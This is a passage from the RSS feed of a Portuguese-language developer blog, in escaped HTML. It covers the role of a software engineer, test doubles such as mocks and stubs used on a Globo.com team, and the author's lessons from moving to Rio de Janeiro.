de obter software de maneira econômica, que seja confiável e que trabalhe
eficientemente em máquinas reais.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Enquanto um cientista da computação estará &quot;focado&quot; com o desenvolvimento de
modelos matemáticos, algoritmos, e a aplicabilidade de sua lógica dentro de um
contexto específico, o engenheiro, além de estar envolvido com o desenvolvimento
do sistema, terá atenção ao processo, à eficiência, aos recursos e até mesmo
aos custos.&lt;/p&gt;
&lt;h2&gt;Em outras palavras: Não basta só programar&lt;/h2&gt;
&lt;p&gt;O &lt;a href=&quot;http://twitter.com/romulojales&quot; title=&quot;Siga o Jales no Twitter&quot;&gt;@romulojales&lt;/a&gt; me
apresentou um ponto de vista super interessante sobre o assunto:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Se eu recebo algo para fazer e simplesmente faço, eu sou apenas um
desenvolvedor. Agora, se eu recebo algo para fazer, e questiono, eu sou
um engenheiro.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Determinar quais são as responsabilidades de um Engenheiro de Software nem
sempre é uma tarefa fácil. O &lt;a href=&quot;http://twitter.com/mittmann&quot; title=&quot;Siga o Cleiton no Twitter&quot;&gt;@mittmann&lt;/a&gt;
apresentou o seu ponto de vista sobre a questão:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Já que a engenharia abrange muita coisa. O engenheiro é um cientista aplicado.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;O &lt;em&gt;Facebook&lt;/em&gt;, por exemplo, detalha de forma bem sofisticada o que ele espera de
um profissional com este título:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create elegant and useful solutions to solve complex business problems by working across various teams, understanding the needs of our business partners and advertisers, and putting on your product manager hat to provide solutions to solve those problems.&lt;/li&gt;
&lt;li&gt;Work closely with product management and UX design teams to define and refine feature specifications.&lt;/li&gt;
&lt;li&gt;Design and develop front-end interfaces, underlying APIs, and backend systems across a number of programming languages with focus on JavaScript, React and PHP (Hack).&lt;/li&gt;
&lt;li&gt;Analyze and improve the efficiency, scalability, stability, and security of business applications and in-house systems to help scale the company.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note a ênfase em &quot;eficiência, escalabilidade e estabilidade&quot;. É normal vermos
empresas exigindo certa experiência nesses quesitos nos tempos atuais (não me
surpreenderia se os próximos requisitos para o &quot;cargo&quot; envolvessem &lt;em&gt;big data&lt;/em&gt;
e &quot;containerização&quot;).&lt;/p&gt;
&lt;p&gt;Transitar entre as diferentes esferas do conhecimento (como &lt;em&gt;front-end&lt;/em&gt;,
&lt;em&gt;back-end&lt;/em&gt;, &lt;em&gt;storage&lt;/em&gt;, &lt;em&gt;infra-structure&lt;/em&gt;, &lt;em&gt;business&lt;/em&gt;, &lt;em&gt;project management&lt;/em&gt;)
é outra característica marcante desses profissionais.
O &lt;a href=&quot;http://pt.wikipedia.org/wiki/Software_Engineering_Body_of_Knowledge&quot; title=&quot;Leia mais no Wikipedia&quot;&gt;SWEBOK&lt;/a&gt; (Software Engineering Body of Knowledge)
determina quais áreas de conhecimento fazem parte da Engenharia de Software em
seu guia, que pode ser baixado diretamente do &lt;a href=&quot;http://www.computer.org/web/swebok/index&quot; title=&quot;Baixe o guia V3 da SWEBOK&quot;&gt;site da Computer Society&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Conclusão&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 620px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/c7336057cbbd4ebd1de240ebcb7c79fd/2a195/dilbert-google-engineer.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 31.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAABeUlEQVQY0wFuAZH+ALfBh7O9ha+5grG6grC6g7rFiLi+nL/IkrnEiLfBiLC6grrEicvWl73Do7bAibnEiMDLjtLdm73HjNDcmgDJ0p6/x5W1vY27w5O7w5PO2KC/xaW/x5qTmXKaoHmboXqlrILByZfL0bO8xJW8xJLN1aG7w5OOlHDDy5kA0Nauw8uowMejwsijvMOg3+i9wMStytCtzdWwzNKsytCpwcij09y1w8ex4urA5e/F7fXIwMWhrbOTvMOgANvgycq+neLhwOry1eru0O/pxMbJudnbxMzCnejrztfexPHz0+vlwsXKvdzcwNPIou/11+nx1efmx/DsyQCvoJ2ReJa6sMLb6eDr7ODUvKXLzb2UhJ9wXaXEvMPf7+Tt6NnLsJq3taycgo2VhaXj5ubb6t/p28jOvKYAVA0ROxUkioyCdHVksZ6HsJ2Gi4h/VQ8YNx82jo+DcnNixrCXp52JkYN8SAELQDRKlZeLdXNfy6+UjoVzk4z3TqtGWuoAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Dilbert e os engenheiros do Google (seroundtable.com)&amp;quot;&quot;
        title=&quot;Dilbert e os engenheiros do Google (seroundtable.com)&quot;
        src=&quot;/static/c7336057cbbd4ebd1de240ebcb7c79fd/2a195/dilbert-google-engineer.png&quot;
        srcset=&quot;/static/c7336057cbbd4ebd1de240ebcb7c79fd/8514f/dilbert-google-engineer.png 192w,
/static/c7336057cbbd4ebd1de240ebcb7c79fd/804b2/dilbert-google-engineer.png 384w,
/static/c7336057cbbd4ebd1de240ebcb7c79fd/2a195/dilbert-google-engineer.png 620w&quot;
        sizes=&quot;(max-width: 620px) 100vw, 620px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Dilbert e os engenheiros do Google (seroundtable.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Intitular-se engenheiro ou não, é algo que vai além do simples &quot;ter aprendido
sobre determinado assunto&quot;. Durante a escrita desse artigo, me deparei com
vários questionamentos, envolvendo a graduação, a regulamentação da área,
e até mesmo sobre cargos, papéis e remunerações.&lt;/p&gt;
&lt;p&gt;Na prática, se você é uma pessoa engajada com o projeto, em diferentes esferas,
com foco em sustentabilidade, qualidade, transitando entre a base de dados,
a infraestrutura, a experiência do usuário, e o código em si. Você pode ter
certeza que está desempenhando papéis que cabem a um Engenheiro de Software.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://engenhariasoftware.wordpress.com/2014/07/04/engenharia-de-software-crea-sbc-acm-e-enade/&quot;&gt;Engenharia de Software - Engenharia de Software, CREA, SBC, ACM e ENADE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.facebook.com/careers/department?dept=grad&amp;#x26;req=a0I1200000G4LPgEAN&quot;&gt;Facebook - Software Engineer, Enterprise&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://guiadoestudante.abril.com.br/profissoes/engenharia-producao/engenharia-civil-685209.shtml&quot;&gt;Guia do Estudante - Engenheiro Civil&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://guiadoestudante.abril.com.br/orientacao-vocacional/consulte-orientador/qual-diferenca-ciencia-computacao-engenharia-software-731291.shtml&quot;&gt;Guia do Estudante - Qual a diferença entre Ciência da Computação e Engenharia de Software?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.computer.org/web/swebok/index&quot;&gt;IEEE Computer Society - About SWEBOK&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://pt.wikibooks.org/wiki/Engenharia_de_Software/O_que_%C3%A9_Engenharia_de_Software%3F&quot;&gt;&lt;em&gt;Wikibooks&lt;/em&gt; - O que é Engenharia de Software?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://pt.wikipedia.org/wiki/Engenharia&quot;&gt;&lt;em&gt;Wikipedia&lt;/em&gt; - Engenharia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://pt.wikipedia.org/wiki/Engenharia_de_software&quot; title=&quot;Leia mais sobre no Wikipedia&quot;&gt;&lt;em&gt;Wikipedia&lt;/em&gt; - Engenharia de Software&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Friedrich_L._Bauer&quot;&gt;&lt;em&gt;Wikipedia&lt;/em&gt; - Friedrich L. Bauer&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Os testes e os dublês - Parte 1]]></title><description><![CDATA[Em tempos onde discussões envolvendo a relevância dos testes têm
causado furor nos diferentes campos da área do desenvolvimento de software…]]></description><link>https://klauslaube.com.br/2014/08/07/os-testes-e-os-dubles-parte-1.html</link><guid isPermaLink="false">https://klauslaube.com.br/2014/08/07/os-testes-e-os-dubles-parte-1.html</guid><pubDate>Thu, 07 Aug 2014 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Em tempos onde &lt;a href=&quot;http://martinfowler.com/articles/is-tdd-dead/&quot; title=&quot;Is TDD dead?&quot;&gt;discussões envolvendo a relevância&lt;/a&gt; dos &lt;a href=&quot;/tag/testes.html&quot; title=&quot;Leia mais sobre testes&quot;&gt;testes&lt;/a&gt; têm
causado furor nos diferentes campos da área do desenvolvimento de &lt;em&gt;software&lt;/em&gt;,
nada mais justo do que &quot;chovermos no molhado&quot;, e falarmos sobre testes, &lt;em&gt;mocks&lt;/em&gt;,
&lt;em&gt;stubs&lt;/em&gt; e todos os seus primos menos famosos.&lt;/p&gt;
&lt;p&gt;Nessa primeira parte, vamos conceituar toda essa &quot;sopa de letrinhas&quot; e detalhar
a forma peculiar como os testes são tratados dentro de um dos times
da &lt;a href=&quot;http://globo.com&quot; title=&quot;Absolutamente tudo sobre notícias, esportes e entretenimento&quot;&gt;&lt;em&gt;Globo.com&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Qual causa, motivo, razão ou circunstância?&lt;/h2&gt;
&lt;p&gt;Eu gosto muito da linha de pensamento que colegas como &lt;em&gt;&lt;a href=&quot;http://twitter.com/rafael_mws&quot; title=&quot;Siga o Cabra no Twitter&quot;&gt;Rafael Martins&lt;/a&gt;&lt;/em&gt; e
&lt;em&gt;&lt;a href=&quot;https://twitter.com/romulojales&quot; title=&quot;Siga o Rômulo&quot;&gt;Rômulo Jales&lt;/a&gt;&lt;/em&gt;, têm em relação a testes automatizados: Pare de perder tempo
separando-os em unitários, funcionais, aceitação ou regressão, e vá escrevê-los.&lt;/p&gt;
&lt;p&gt;Particularmente, acho vantajoso praticar o &lt;a href=&quot;/tag/tdd.html&quot; title=&quot;Leia mais sobre TDD&quot;&gt;&lt;em&gt;TDD&lt;/em&gt;&lt;/a&gt;, deixando com que os
testes me ajudem a montar a arquitetura da aplicação. Quando roubamos um pouco
da filosofia do parágrafo anterior, temos um foco maior na resolução de um
requisito do que na &quot;minúcia&quot; de uma classe/módulo/pacote. Organicamente
conseguimos atingir um desenvolvimento focado no funcional, muito próximo de
propostas como a do &lt;a href=&quot;/tag/bdd.html&quot; title=&quot;Leia mais sobre BDD&quot;&gt;&lt;em&gt;BDD&lt;/em&gt;&lt;/a&gt;, sem precisar recorrer a artifícios
como &lt;em&gt;user stories&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Ok... deixamos de ser tão &quot;unitários&quot;, e aprendemos a lidar com o todo. Mas e
os acessos ao banco de dados? Ao &lt;em&gt;&lt;a href=&quot;/tag/memcached.html&quot; title=&quot;Leia mais sobre Memcached&quot;&gt;Memcached&lt;/a&gt;&lt;/em&gt; ou &lt;em&gt;Redis&lt;/em&gt;? E as interações
entre meus serviços e &lt;em&gt;APIs&lt;/em&gt; internas? E as escritas em disco? E as sessões
do usuário?&lt;/p&gt;
&lt;p&gt;Como lidar com tudo isso?&lt;/p&gt;
&lt;h2&gt;O Case de Esportes 1&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Esportes 1&lt;/em&gt; é um dos 3 times que compõe o núcleo de desenvolvimento da área
de esportes, da &lt;em&gt;Globo.com&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;No time, decidimos que a maioria dessas interações deve estar lá em tempo de
execução dos testes. Ou seja, (&lt;a href=&quot;https://docs.djangoproject.com/en/dev/topics/testing/tools/&quot; title=&quot;Testing Tools&quot;&gt;com uma ajudinha do &lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;) nossos testes
consultam o banco de dados, interagem com a camada de cache, escrevem em
disco, etc.&lt;/p&gt;
&lt;p&gt;Somos tão preguiçosos que os testes chegam a consultar os ambientes de
teste/desenvolvimento dos serviços criados por outros times, como dados
semânticos, de dados esportivos, de vídeos, etc.&lt;/p&gt;
&lt;p&gt;Obviamente temos o &lt;em&gt;trade-off&lt;/em&gt; dos tempos de execução, que até o momento não
chegaram a ser um problema tão grande para a equipe.&lt;/p&gt;
&lt;h3&gt;Um lugar escuro e frio&lt;/h3&gt;
&lt;p&gt;Concluímos que nossos testes não são nem de longe isolados. Estamos mais
preocupados em validar o comportamento de uma funcionalidade do que de um
objeto em específico.&lt;/p&gt;
&lt;p&gt;Batemos no peito, orgulhosos de nossa decisão, e começamos a encarar o mundo
com olhos marejados pelo árduo caminho que percorremos para chegar até aqui.&lt;/p&gt;
&lt;p&gt;Mas existe a &quot;borda&quot; da aplicação. Dali para fora, você não tem controle algum
sobre o que acontece. Você apenas tem a promessa de que aquela &lt;em&gt;API&lt;/em&gt; vai
funcionar. Deixar com que os testes batam nesses serviços &quot;estrangeiros&quot; pode
custar muito tempo (e claro, dinheiro), tornando inviável a execução dos mesmos
em tempo de desenvolvimento.&lt;/p&gt;
&lt;p&gt;E é aí meu amigo, depois dessa justificativa gigante, que entram os &lt;em&gt;mocks&lt;/em&gt;,
&lt;em&gt;stubs&lt;/em&gt;, &lt;em&gt;spies&lt;/em&gt;, etc.&lt;/p&gt;
&lt;h2&gt;Don&apos;t mock me!&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 612px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/09fe506dca4f5502d60a2e5374b42e52/a18e1/dubles.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 65.10416666666666%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAIDBP/EABYBAQEBAAAAAAAAAAAAAAAAAAECA//aAAwDAQACEAMQAAABjmRjVC4x/8QAGRAAAgMBAAAAAAAAAAAAAAAAAQIDERIA/9oACAEBAAEFAjgpEDGzR21UMX28D//EABcRAQADAAAAAAAAAAAAAAAAAAACERL/2gAIAQMBAT8BwqL/xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAcEAACAgIDAAAAAAAAAAAAAAAAAQIxESEigZH/2gAIAQEABj8CjzeW6GpaKl4ZLEr7P//EABoQAQEBAQADAAAAAAAAAAAAAAERADEhYXH/2gAIAQEAAT8hhh+EbrbJbnRAv1g9PZvc5fOuQpKuf//aAAwDAQACAAMAAAAQVz//xAAYEQEBAAMAAAAAAAAAAAAAAAABACFRkf/aAAgBAwEBPxDAGdjy/8QAFxEAAwEAAAAAAAAAAAAAAAAAAAERIf/aAAgBAgEBPxCp00//xAAcEAEBAAMBAAMAAAAAAAAAAAABEQAhMUFhoeH/2gAIAQEAAT8QtwB0AYb+jvmQXOgC7dSdMvdC+DXonjkCa1AyM7+YSHdDi1d4yAGwVfjP/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Entram os dublês!&amp;quot;&quot;
        title=&quot;Entram os dublês!&quot;
        src=&quot;/static/09fe506dca4f5502d60a2e5374b42e52/a18e1/dubles.jpg&quot;
        srcset=&quot;/static/09fe506dca4f5502d60a2e5374b42e52/7809d/dubles.jpg 192w,
/static/09fe506dca4f5502d60a2e5374b42e52/4ecad/dubles.jpg 384w,
/static/09fe506dca4f5502d60a2e5374b42e52/a18e1/dubles.jpg 612w&quot;
        sizes=&quot;(max-width: 612px) 100vw, 612px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Entram os dublês!&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Vamos abrir um parênteses aqui para esclarecer o conceito de &quot;mock&quot;.
Na &lt;a href=&quot;http://www.voidspace.org.uk/python/mock/#terminology&quot; title=&quot;Biblioteca de mock do Python&quot;&gt;documentação da biblioteca de &lt;em&gt;mock&lt;/em&gt; do &lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;, temos a seguinte
(e incrivelmente sucinta) definição:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A “mock object” is an object used to replace a real one in a system under test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ou, &lt;a href=&quot;http://www.infoq.com/br/articles/mocks-Arent-Stubs&quot; title=&quot;A diferença entre Mocks e Stubs&quot;&gt;nas palavras de &lt;em&gt;Martin Fowler&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) objetos pré-programados com informações que formam uma especificação das chamadas que esperam receber.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;O termo &lt;em&gt;mock&lt;/em&gt; faz parte de um conceito mais genérico, conhecido por
&lt;em&gt;Test Double&lt;/em&gt;. Segundo &lt;em&gt;Fowler&lt;/em&gt;, esse termo é usado para qualquer objeto que
tem por finalidade, em um teste, substituir um objeto real.&lt;/p&gt;
&lt;p&gt;Logo, quando em &lt;em&gt;Esportes1&lt;/em&gt; consumimos um recurso externo, &quot;mentimos&quot; para o
sistema. Além do &lt;strong&gt;Mock&lt;/strong&gt;, existem outros dublês que nos ajudam nessa tarefa:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Dummy:&lt;/strong&gt; Objetos com o propósito apenas de &quot;ocupar espaço&quot;, geralmente usados em passagens de parâmetros;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fake:&lt;/strong&gt; Objetos funcionais, mas inadequados para um ambiente de produção;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stubs:&lt;/strong&gt; Providenciam respostas pré-configuradas, e normalmente não respondem a nada que não esteja programado para o teste;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Spies:&lt;/strong&gt; Você pega um objeto real, substituindo o comportamento apenas de alguns métodos.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;O &lt;em&gt;InfoQ&lt;/em&gt; possui um artigo do &lt;em&gt;Martin Fowler&lt;/em&gt;, &lt;a href=&quot;http://www.infoq.com/br/articles/mocks-Arent-Stubs&quot; title=&quot;Mocks não são Stubs&quot;&gt;traduzido para o Português&lt;/a&gt;,
onde ele conceitua bem os diferentes tipos de dublês, principalmente o &lt;em&gt;mock&lt;/em&gt;
e &lt;em&gt;stub&lt;/em&gt;. Vale a leitura.&lt;/p&gt;
&lt;p&gt;Na segunda parte deste &lt;em&gt;post&lt;/em&gt;, utilizaremos cada conceito de forma prática, e
discutiremos um pouco mais sobre o grande dilema: Mockar ou não mockar.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.infoq.com/br/articles/mocks-Arent-Stubs&quot; title=&quot;Leia o artigo do Martin Fowler, traduzido para pt-BR&quot;&gt;&lt;em&gt;Info Q&lt;/em&gt; - &lt;em&gt;Mocks&lt;/em&gt; não são &lt;em&gt;Stubs&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.voidspace.org.uk/python/mock/#terminology&quot; title=&quot;Leia sobre a terminologia usada pela lib mock&quot;&gt;&lt;em&gt;Mock&lt;/em&gt; - &lt;em&gt;Mocking and Testing Library&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://docs.mockito.googlecode.com/hg/latest/org/mockito/Mockito.html#13&quot; title=&quot;Definição de Spies pela Mockito&quot;&gt;&lt;em&gt;Mockito&lt;/em&gt; - &lt;em&gt;Spying on real objects&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[As lições aprendidas em 3 anos de cidade grande]]></title><description><![CDATA[Neste mês de Maio, faz 3 anos que deixei Schroeder (SC) e me mudei para
o Rio de Janeiro, para trabalhar na Globo.com. Não tinha como ser…]]></description><link>https://klauslaube.com.br/2014/05/05/as-licoes-aprendidas-em-3-anos-de-cidade-grande.html</link><guid isPermaLink="false">https://klauslaube.com.br/2014/05/05/as-licoes-aprendidas-em-3-anos-de-cidade-grande.html</guid><pubDate>Mon, 05 May 2014 20:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Neste mês de Maio, faz 3 anos que deixei &lt;em&gt;&lt;a href=&quot;http://pt.wikipedia.org/wiki/Schroeder&quot; title=&quot;Conheça SC!&quot;&gt;Schroeder (SC)&lt;/a&gt;&lt;/em&gt; e me mudei para
o Rio de Janeiro, para trabalhar na &lt;em&gt;&lt;a href=&quot;http://globo.com&quot; title=&quot;Uma das maiores empresas de mídia da América Latina&quot;&gt;Globo.com&lt;/a&gt;&lt;/em&gt;. Não tinha como ser
diferente: Eu estava estudando as tecnologias utilizadas pelo &quot;plim-plim&quot; há
quase 1 ano, e idealizava como seria trabalhar para uma das maiores empresas
de mídia da América Latina.&lt;/p&gt;
&lt;p&gt;Recebi uma recomendação (e sou eternamente grato ao &lt;em&gt;&lt;a href=&quot;https://twitter.com/franciscosouza&quot; title=&quot;Siga o Chico no Twitter&quot;&gt;Francisco Souza&lt;/a&gt;&lt;/em&gt; por
isso), passei pela entrevista, fui chamado, arrumei a minha mala (sim, uma só)
e me mudei para a cidade grande, na &quot;cara e coragem&quot;.&lt;/p&gt;
&lt;p&gt;De lá para cá aconteceram inúmeras coisas na minha vida pessoal e profissional.
Aprendi muito, mais do que qualquer instituição de ensino poderia me ensinar.
Logo, caro leitor, se o seu destino é ir para a cidade grande, trabalhar em
uma grande empresa, talvez você se interesse pelo que eu tenho a dizer.&lt;/p&gt;
&lt;h2&gt;Adapte-se!&lt;/h2&gt;
&lt;p&gt;Não me considero um &quot;carioca&quot;. Invejo colegas de trabalho, que assim como eu
vieram de outras partes do país, mas que se adaptaram com facilidade.&lt;/p&gt;
&lt;p&gt;Essa é uma lição que eu me forço a aprender todos os dias: Adapte-se.&lt;/p&gt;
&lt;p&gt;A realidade é completamente diferente daquele pedacinho de paraíso (ou
pedacinho de inferno) do qual você veio. A cultura é diferente, a economia
move-se diferente, o lazer é diferente, as pessoas são diferentes, os
problemas são diferentes, o tempo passa de uma forma diferente.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 324px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/2ff9c22718d80a528a77dc5713c2688b/033fb/adapt.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 123.4375%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAZABQDASIAAhEBAxEB/8QAGQAAAwEBAQAAAAAAAAAAAAAAAAIDAQQF/8QAFwEAAwEAAAAAAAAAAAAAAAAAAAECA//aAAwDAQACEAMQAAAB9xdVJwA43tmNyKkn/8QAGhABAAIDAQAAAAAAAAAAAAAAAQACAxAhEf/aAAgBAQABBQLaew4TDkswbWyp3f8A/8QAFhEAAwAAAAAAAAAAAAAAAAAAABAR/9oACAEDAQE/AXD/xAAXEQEBAQEAAAAAAAAAAAAAAAAAEQES/9oACAECAQE/AVd6r//EABwQAAEDBQAAAAAAAAAAAAAAAAEAEBEgIjFBof/aAAgBAQAGPwJ4e8LYA6sUf//EAB0QAQACAQUBAAAAAAAAAAAAAAEAESEQIDFBUZH/2gAIAQEAAT8hWoLehZuGLpoJZF1qoxiKGg6PIVTT7s//2gAMAwEAAgADAAAAEF/jff/EABYRAQEBAAAAAAAAAAAAAAAAAAEAEf/aAAgBAwEBPxDLJBbF/8QAFxEAAwEAAAAAAAAAAAAAAAAAABARIf/aAAgBAgEBPxCphCj/xAAeEAEAAgEEAwAAAAAAAAAAAAABABEhEDFRcSBBgf/aAAgBAQABPxABah3E+lc6UhiCIl3BRWrBKN0O2IxzMpniJGrB3Vy/AK7ioS3F28P/2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Adapt! Veja mais em dudeologyforall.wordpress.com&amp;quot;&quot;
        title=&quot;Adapt! Veja mais em dudeologyforall.wordpress.com&quot;
        src=&quot;/static/2ff9c22718d80a528a77dc5713c2688b/033fb/adapt.jpg&quot;
        srcset=&quot;/static/2ff9c22718d80a528a77dc5713c2688b/7809d/adapt.jpg 192w,
/static/2ff9c22718d80a528a77dc5713c2688b/033fb/adapt.jpg 324w&quot;
        sizes=&quot;(max-width: 324px) 100vw, 324px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Adapt! Veja mais em dudeologyforall.wordpress.com&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Esteja preparado para uma nova faixa salarial, bem como para um novo patamar
nos gastos. Esteja preparado para o trânsito caótico, bem como para fazer as
mais exóticas amizades. Esteja preparado para a saudade, bem como para deixar
os seus conterrâneos orgulhosos. Esteja preparado para estar por conta
própria, bem como para enfrentar desafios que você jamais enfrentaria morando
com os pais. Esteja preparado para se perder pelas ruas, bem como para
encontrar lugares magníficos pelo caminho.&lt;/p&gt;
&lt;p&gt;E esteja preparado para a violência, para a desigualdade social e para tantos
outros problemas que assolam o nosso país, e que ficam mais evidentes em uma
capital.&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;&lt;a href=&quot;https://twitter.com/alexiacaldas&quot; title=&quot;Siga a Alexia no Twitter&quot;&gt;Alexia Caldas&lt;/a&gt;&lt;/em&gt;, atualmente &lt;em&gt;Scrum Master&lt;/em&gt; na &lt;em&gt;Globo.com&lt;/em&gt;, uma vez me
disse: &lt;em&gt;Você tem que aceitar o Rio&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;E é basicamente isso! Só depende de você encontrar uma forma de maximizar os
prós e minimizar os contras.&lt;/p&gt;
&lt;h2&gt;Controle o seu ego...&lt;/h2&gt;
&lt;p&gt;Admito que sempre tive um problema com o ego. Antes de me mudar para o Rio eu
me sentia &quot;invencível&quot;, capaz de liderar qualquer equipe ou de enfrentar
qualquer desafio. As minhas expectativas em relação a mim mesmo eram
totalmente desproporcionais.&lt;/p&gt;
&lt;p&gt;Esse tipo de postura só é resolvida com &lt;strong&gt;choque de realidade&lt;/strong&gt;. E foi o que
